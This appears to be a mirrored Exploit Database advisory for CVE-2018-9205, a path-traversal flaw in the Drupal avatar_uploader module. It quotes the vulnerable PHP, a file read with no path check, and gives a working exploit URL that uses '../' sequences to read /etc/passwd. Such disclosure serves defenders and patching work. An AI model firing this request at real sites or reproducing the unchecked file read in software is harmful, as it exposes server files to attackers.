Drupal avatar_uploader v7.x-1.0-beta8 – Arbitrary File Disclosure

• Exploit Database
• 13 阅读

• 作者： Larry W. Cashdollar
  日期： 2018-04-23
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/44501/

• #Title: Drupal avatar_uploader v7.x-1.0-beta8 - Arbitrary File Disclosure
  #Author: Larry W. Cashdollar
  #Date: 2018-03-30
  #CVE-ID: CVE-2018-9205
  #Download Site: https://www.drupal.org/project/avatar_uploader
  #Vendor: https://www.drupal.org/u/robbinzhao
  #Vendor Notified: 2018-04-02
  #Vendor Contact: https://www.drupal.org/project/avatar_uploader/issues/2957966#comment-12554146
  #Advisory: http://www.vapidlabs.com/advisory.php?v=202
  
  #Description: This module used Simple Ajax Uploader, and provide a basic uploader panel, for more effect, you can do your custom javascript. Such as, users' mouse hover on avatar, the edit link will slideup, or others.
  #Vulnerability:
  #The view.php contains code to retrieve files but no code to verify a user should be able to view files or keep them from changing the path to outside of the uploadDir directory:
  
  <?php
  
  $file = $_GET['file'];
  
  echo file_get_contents("uploadDir/$file");
  exit;
  
  Exploit Code:
  http://example.com/sites/all/modules/avatar_uploader/lib/demo/view.php?file=../../../../../../../../../../../etc/passwd